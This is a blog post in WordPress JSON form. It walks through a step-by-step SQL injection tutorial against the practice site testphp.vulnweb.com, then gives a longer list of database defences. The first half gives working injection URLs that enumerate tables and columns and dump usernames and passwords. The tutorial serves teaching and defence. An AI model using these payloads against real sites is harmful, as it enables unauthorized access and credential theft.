{"id":1299,"date":"2019-05-28T07:23:55","date_gmt":"2019-05-28T07:23:55","guid":{"rendered":"https:\/\/blog.olalekanadmin.pro\/?p=1299"},"modified":"2026-06-21T01:44:13","modified_gmt":"2026-06-21T00:44:13","slug":"hack-database-through-web-browser","status":"publish","type":"post","link":"https:\/\/ensureweb.ng\/blog\/2019\/05\/28\/hack-database-through-web-browser\/","title":{"rendered":"How To Hack Database On Web Browser"},"content":{"rendered":"\n<div class=\"wp-block-cover\"><img decoding=\"async\" class=\"wp-block-cover__image-background wp-image-4806\" alt=\"How To Hack Database On Web Browser and Protection\" src=\"https:\/\/ensureweb.ng\/blog\/wp-content\/uploads\/2019\/05\/Hack-Database-On-Web-Browser-10.jpg\" data-object-fit=\"cover\"\/><span aria-hidden=\"true\" class=\"wp-block-cover__background has-background-dim\"><\/span><div class=\"wp-block-cover__inner-container is-layout-flow wp-block-cover-is-layout-flow\">\n<p class=\"has-text-align-center has-large-font-size wp-block-paragraph\">How To Hack Database On Web Browser<\/p>\n<\/div><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>How to Hack a Database Using a Web Browser \u2013 SQL Injection Attack I<\/strong><\/h2>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">\u26a0\ufe0f <strong>Disclaimer<\/strong>: This blog post is for <strong>educational purposes only<\/strong>. The intent is to raise awareness about SQL Injection vulnerabilities so that developers and website owners can better protect their applications. Do not attempt these actions on any website without explicit permission. Unauthorized access is illegal.<\/p>\n<\/blockquote>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>What is an SQL Injection Attack?<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-pullquote\"><blockquote><p><strong>SQL Injection (SQLi)<\/strong> is one of the most common and dangerous web application vulnerabilities. It occurs when an attacker inserts or &#8220;injects&#8221; malicious SQL queries into input fields, URLs, or parameters. These queries are then executed by the web server\u2019s database, potentially allowing the attacker to view, manipulate, or delete data without authorization.<\/p><cite><strong>SQL Injection Attack<\/strong><\/cite><\/blockquote><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Demo Target Website<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">For demonstration purposes, we will use a publicly available and intentionally vulnerable website:<br>\ud83d\udd17 <strong><a href=\"http:\/\/testphp.vulnweb.com\/\">testphp.vulnweb.com<\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This site is designed for practicing ethical hacking and penetration testing techniques.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Step-by-Step Guide to SQL Injection<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Step 1 \u2013 Identify a Vulnerable URL<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s start with the following URL:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;testphp.vulnweb.com\/artists.php?artist=1\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This URL takes an <code>artist<\/code> parameter with a numeric value. It may be vulnerable to SQL injection.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Step 2 \u2013 Test for SQL Injection Vulnerability<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Append a single quote (<code>'<\/code>) to the value to check for SQL errors:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;testphp.vulnweb.com\/artists.php?artist=1'\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">If you see an SQL syntax error like:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\"><code>You have an error in your SQL syntax...<\/code><\/p>\n<\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\">This means the input is not properly sanitized, and the database is executing the input directly\u2014indicating a <strong>vulnerability to SQL injection<\/strong>.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Step 3 \u2013 Find the Number of Columns<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">To find the correct number of columns used in the SQL query, use the <code>ORDER BY<\/code> clause:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:\/\/testphp.vulnweb.com\/artists.php?artist=1 ORDER BY 1--\nhttp:\/\/testphp.vulnweb.com\/artists.php?artist=1 ORDER BY 2--\nhttp:\/\/testphp.vulnweb.com\/artists.php?artist=1 ORDER BY 3--\nhttp:\/\/testphp.vulnweb.com\/artists.php?artist=1 ORDER BY 4--\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">If the page loads correctly up to <code>ORDER BY 3--<\/code>, but fails at <code>ORDER BY 4--<\/code>, that means there are <strong>3 columns<\/strong> in the underlying SQL query.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Step 4 \u2013 Extract Table Names<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Next, we use a <code>UNION SELECT<\/code> statement to extract table names from the database using the <code>information_schema.tables<\/code> table:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:\/\/testphp.vulnweb.com\/artists.php?artist=-1 UNION SELECT 1, 2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This will return all the table names in the current database.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Step 5 \u2013 Extract Column Names from a Table<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s say we identified a table named <code>users<\/code>. Now, we want to find all column names in this table:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:\/\/testphp.vulnweb.com\/artists.php?artist=-1 UNION SELECT 1, 2, GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'--\n<\/code><\/pre>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">\ud83d\udd0d <strong>Tip<\/strong>: Ensure that the table name is in <strong>lowercase<\/strong> or matches the exact case, depending on the database system.<\/p>\n<\/blockquote>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Step 6 \u2013 Extract Data from Columns<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Suppose we found columns like <code>uname<\/code> and <code>pass<\/code>. We can now extract actual data (usernames and passwords):<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Get Usernames:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:\/\/testphp.vulnweb.com\/artists.php?artist=-1 UNION SELECT 1, 2, GROUP_CONCAT(uname) FROM users--\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Get Passwords:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:\/\/testphp.vulnweb.com\/artists.php?artist=-1 UNION SELECT 1, 2, GROUP_CONCAT(pass) FROM users--\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">You will now see a list of usernames and passwords displayed on the web page.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Step 7 \u2013 Log in as an Admin<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">After extracting credentials (e.g., username: <code>test<\/code>, password: <code>test<\/code>), navigate to the login page:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\ud83d\udd17 <a href=\"http:\/\/testphp.vulnweb.com\/login.php\">http:\/\/testphp.vulnweb.com\/login.php<\/a><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Enter the username and password you discovered. If successful, you\u2019ll be logged in as that user\u2014demonstrating a full SQL injection exploit.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">This guide shows how SQL injection can be used to compromise a web application\u2014starting from identifying a vulnerable input, extracting database structure, and finally accessing confidential data like usernames and passwords.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To <strong>protect your web applications<\/strong> against SQL Injection:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Use <strong>parameterized queries<\/strong> (prepared statements).<\/li>\n\n\n\n<li>Implement <strong>input validation<\/strong> and <strong>sanitization<\/strong>.<\/li>\n\n\n\n<li>Use <strong>web application firewalls (WAFs)<\/strong>.<\/li>\n\n\n\n<li>Regularly test and audit your application security.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83d\udd10 Securing Databases Accessed via Web Browsers: Complete Cybersecurity Guide<\/h2>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Securing databases that are accessed through web browsers is a critical aspect of modern cybersecurity. Since web applications often act as the bridge between users and databases, they are a prime target for attackers attempting to exploit vulnerabilities, steal sensitive information, or gain unauthorized access. Proper database security ensures data integrity, confidentiality, and availability while protecting against breaches, injections, and insider threats.<\/p>\n<\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Below are essential security measures to protect databases accessed through web browsers from hacking attempts and malicious activity<\/strong>:<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83d\udd11 Strong Authentication &amp; Access Control<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">One of the first layers of protection is ensuring only authorized users can access the database.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Use <strong>strong, unique passwords<\/strong> for all database accounts<\/li>\n\n\n\n<li>Enforce <strong>Multi-Factor Authentication (MFA)<\/strong> for admin and sensitive access<\/li>\n\n\n\n<li>Apply <strong>Role-Based Access Control (RBAC)<\/strong> to limit user permissions<\/li>\n\n\n\n<li>Follow the <strong>principle of least privilege<\/strong> (users only get what they need)<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u2714 This reduces the risk of credential theft and unauthorized access.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83d\udd12 Database Encryption (Data Protection at Rest &amp; In Transit)<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Encryption ensures that even if data is intercepted or stolen, it remains unreadable.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Encrypt sensitive data stored in the database (<strong>data at rest<\/strong>)<\/li>\n\n\n\n<li>Use <strong>SSL\/TLS encryption<\/strong> for secure communication between browser, app, and database<\/li>\n\n\n\n<li>Encrypt backups and exported data files<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u2714 This protects data from interception and unauthorized reading.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83c\udf10 Secure Connection Configuration<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Proper database configuration helps prevent external attacks.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Restrict database access to <strong>trusted IP addresses only<\/strong><\/li>\n\n\n\n<li>Disable insecure authentication methods (e.g., plaintext login)<\/li>\n\n\n\n<li>Use secure protocols for database connections<\/li>\n\n\n\n<li>Close unused ports and services<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u2714 This minimizes exposure to external attackers.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83d\udd04 Regular Updates &amp; Patch Management<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Outdated systems are one of the biggest security risks.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Keep DBMS (Database Management Systems) updated<\/li>\n\n\n\n<li>Apply security patches immediately after release<\/li>\n\n\n\n<li>Update web application frameworks and server software regularly<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u2714 This helps close known vulnerabilities before attackers exploit them.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83d\udcca Database Auditing &amp; Monitoring<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Continuous monitoring helps detect suspicious activity early.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Enable database logging and auditing features<\/li>\n\n\n\n<li>Track login attempts, query execution, and data changes<\/li>\n\n\n\n<li>Regularly review logs for unusual behavior<\/li>\n\n\n\n<li>Set alerts for abnormal access patterns<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u2714 This improves threat detection and response time.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83e\uddf1 Web Application Firewall (WAF) Protection<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">A <strong>Web Application Firewall (WAF)<\/strong> acts as a shield between users and your database system.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Blocks SQL injection attacks<\/li>\n\n\n\n<li>Filters malicious HTTP\/HTTPS traffic<\/li>\n\n\n\n<li>Detects and prevents common web exploits<\/li>\n\n\n\n<li>Protects APIs connected to databases<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u2714 A WAF is essential for preventing application-layer attacks.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83e\uddea Input Validation &amp; Secure Coding Practices<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Poor input handling is a major cause of database attacks.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Validate all user inputs before processing<\/li>\n\n\n\n<li>Use <strong>parameterized queries and prepared statements<\/strong><\/li>\n\n\n\n<li>Prevent SQL injection and command injection attacks<\/li>\n\n\n\n<li>Sanitize all external data sources<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u2714 This ensures attackers cannot manipulate database queries.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83e\uddfe Session Management Security<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Secure session handling prevents unauthorized reuse of user sessions.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Use secure, randomly generated session IDs<\/li>\n\n\n\n<li>Implement session timeout policies<\/li>\n\n\n\n<li>Protect session cookies using HttpOnly and Secure flags<\/li>\n\n\n\n<li>Regenerate session IDs after login<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u2714 This reduces session hijacking risks.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83d\udee1\ufe0f Security Headers &amp; Browser Protection<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Security headers help protect web applications interacting with databases.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Implement <strong>Content Security Policy (CSP)<\/strong><\/li>\n\n\n\n<li>Enable X-Frame-Options to prevent clickjacking<\/li>\n\n\n\n<li>Use Strict-Transport-Security (HSTS)<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u2714 These measures reduce browser-based attack risks like XSS.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83d\udea8 Incident Response Planning<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Even with strong protection, incidents can still occur.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Develop a clear database breach response plan<\/li>\n\n\n\n<li>Define steps for detection, containment, and recovery<\/li>\n\n\n\n<li>Regularly test incident response procedures<\/li>\n\n\n\n<li>Assign roles for security incident handling<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u2714 This ensures quick recovery during attacks.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83d\udd0d Regular Security Audits &amp; Penetration Testing<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Proactive testing helps identify hidden vulnerabilities.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Conduct routine security audits<\/li>\n\n\n\n<li>Perform penetration testing on web applications and databases<\/li>\n\n\n\n<li>Fix vulnerabilities immediately after detection<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u2714 This strengthens long-term security posture.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83d\udcbe Secure Data Backup Strategy<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Backups are essential for recovery after attacks.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Perform regular automated database backups<\/li>\n\n\n\n<li>Store backups in secure, encrypted locations<\/li>\n\n\n\n<li>Test restoration procedures frequently<\/li>\n\n\n\n<li>Keep multiple backup versions<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u2714 This protects against ransomware and data loss.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83c\udf93 User Awareness &amp; Security Training<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Human error is a major cause of security breaches.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Train users on phishing awareness<\/li>\n\n\n\n<li>Educate administrators on secure practices<\/li>\n\n\n\n<li>Promote strong password hygiene<\/li>\n\n\n\n<li>Encourage safe browsing habits<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u2714 A well-informed team reduces security risks significantly.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83e\uddfe Final Thoughts: Complete Cybersecurity Guide<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Securing databases accessed through web browsers requires a <strong>multi-layered security approach<\/strong> that combines strong authentication, encryption, secure configurations, continuous monitoring, and proactive threat prevention. No single solution is enough\u2014true protection comes from integrating multiple security controls such as WAFs, input validation, access control, and regular audits.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">By implementing these best practices, organizations can significantly reduce the risk of unauthorized access, data breaches, and cyberattacks while ensuring that sensitive information remains protected at all times.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-wp-embed is-provider-ensure-technologies-web-hosting wp-block-embed-ensure-technologies-web-hosting\"><div class=\"wp-block-embed__wrapper\">\n<blockquote class=\"wp-embedded-content\" data-secret=\"G3q9nw1iGZ\"><a href=\"https:\/\/ensureweb.ng\/blog\/2021\/02\/14\/how-to-protect-your-database-from-getting-hacked\/\">How To Protect Your Database From Hackers<\/a><\/blockquote><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; visibility: hidden;\" title=\"\u201cHow To Protect Your Database From Hackers\u201d \u2014 Ensure Technologies Web Hosting\" src=\"https:\/\/ensureweb.ng\/blog\/2021\/02\/14\/how-to-protect-your-database-from-getting-hacked\/embed\/#?secret=K0E1yaxdEJ#?secret=G3q9nw1iGZ\" data-secret=\"G3q9nw1iGZ\" width=\"500\" height=\"282\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe>\n<\/div><\/figure>\n\n\n\n<figure class=\"wp-block-embed is-type-wp-embed is-provider-ensure-technologies-web-hosting wp-block-embed-ensure-technologies-web-hosting\"><div class=\"wp-block-embed__wrapper\">\n<blockquote class=\"wp-embedded-content\" data-secret=\"yhgpoMKrPr\"><a href=\"https:\/\/ensureweb.ng\/blog\/2024\/10\/17\/how-to-create-databases-and-database-users-in-cpanel\/\">How to Create Databases and Database Users in cPanel<\/a><\/blockquote><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; visibility: hidden;\" title=\"\u201cHow to Create Databases and Database Users in cPanel\u201d \u2014 Ensure Technologies Web Hosting\" src=\"https:\/\/ensureweb.ng\/blog\/2024\/10\/17\/how-to-create-databases-and-database-users-in-cpanel\/embed\/#?secret=3bOuG9NDdS#?secret=yhgpoMKrPr\" data-secret=\"yhgpoMKrPr\" width=\"500\" height=\"282\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe>\n<\/div><\/figure>\n\n\n\n<figure class=\"wp-block-embed is-type-wp-embed is-provider-ensure-technologies-web-hosting wp-block-embed-ensure-technologies-web-hosting\"><div class=\"wp-block-embed__wrapper\">\n<blockquote class=\"wp-embedded-content\" data-secret=\"Hsoi7a849k\"><a href=\"https:\/\/ensureweb.ng\/blog\/2018\/07\/21\/network-security\/\">Network Security<\/a><\/blockquote><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; visibility: hidden;\" title=\"\u201cNetwork Security\u201d \u2014 Ensure Technologies Web Hosting\" src=\"https:\/\/ensureweb.ng\/blog\/2018\/07\/21\/network-security\/embed\/#?secret=qZxgC8R3Gy#?secret=Hsoi7a849k\" data-secret=\"Hsoi7a849k\" width=\"500\" height=\"282\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe>\n<\/div><\/figure>\n\n\n\n<figure class=\"wp-block-embed is-type-wp-embed is-provider-ensure-technologies-web-hosting wp-block-embed-ensure-technologies-web-hosting\"><div class=\"wp-block-embed__wrapper\">\n<blockquote class=\"wp-embedded-content\" data-secret=\"ua86bg9FxD\"><a href=\"https:\/\/ensureweb.ng\/blog\/2018\/05\/12\/best-spoofing-tools-in-cybersecurity\/\">Best Spoofing Tools In Cybersecurity<\/a><\/blockquote><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; visibility: hidden;\" title=\"\u201cBest Spoofing Tools In Cybersecurity\u201d \u2014 Ensure Technologies Web Hosting\" src=\"https:\/\/ensureweb.ng\/blog\/2018\/05\/12\/best-spoofing-tools-in-cybersecurity\/embed\/#?secret=2X4TXaSGGr#?secret=ua86bg9FxD\" data-secret=\"ua86bg9FxD\" width=\"500\" height=\"282\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe>\n<\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Follow Us<\/h1>\n\n\n\n<h5 class=\"wp-block-heading\">Stay connected with us on social media to receive updates on our latest posts.<\/h5>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<h3 class=\"wp-block-heading\"><strong>Follow us on:<\/strong>&nbsp;<a href=\"https:\/\/www.facebook.com\/ensuretechweb\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Facebook<\/strong><\/a>&nbsp;|&nbsp;<a href=\"https:\/\/www.instagram.com\/ensuretechweb\/\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Instagram<\/strong><\/a><\/h3>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>How to Hack a Database Using a Web Browser \u2013 SQL Injection Attack I \u26a0\ufe0f Disclaimer: This blog post is for educational purposes only. The intent is to raise awareness about SQL&hellip;<\/p>\n","protected":false},"author":1,"featured_media":6232,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-1299","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ict-blog-in-nigeria"],"_links":{"self":[{"href":"https:\/\/ensureweb.ng\/blog\/wp-json\/wp\/v2\/posts\/1299","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ensureweb.ng\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ensureweb.ng\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ensureweb.ng\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ensureweb.ng\/blog\/wp-json\/wp\/v2\/comments?post=1299"}],"version-history":[{"count":14,"href":"https:\/\/ensureweb.ng\/blog\/wp-json\/wp\/v2\/posts\/1299\/revisions"}],"predecessor-version":[{"id":6233,"href":"https:\/\/ensureweb.ng\/blog\/wp-json\/wp\/v2\/posts\/1299\/revisions\/6233"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ensureweb.ng\/blog\/wp-json\/wp\/v2\/media\/6232"}],"wp:attachment":[{"href":"https:\/\/ensureweb.ng\/blog\/wp-json\/wp\/v2\/media?parent=1299"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ensureweb.ng\/blog\/wp-json\/wp\/v2\/categories?post=1299"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ensureweb.ng\/blog\/wp-json\/wp\/v2\/tags?post=1299"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}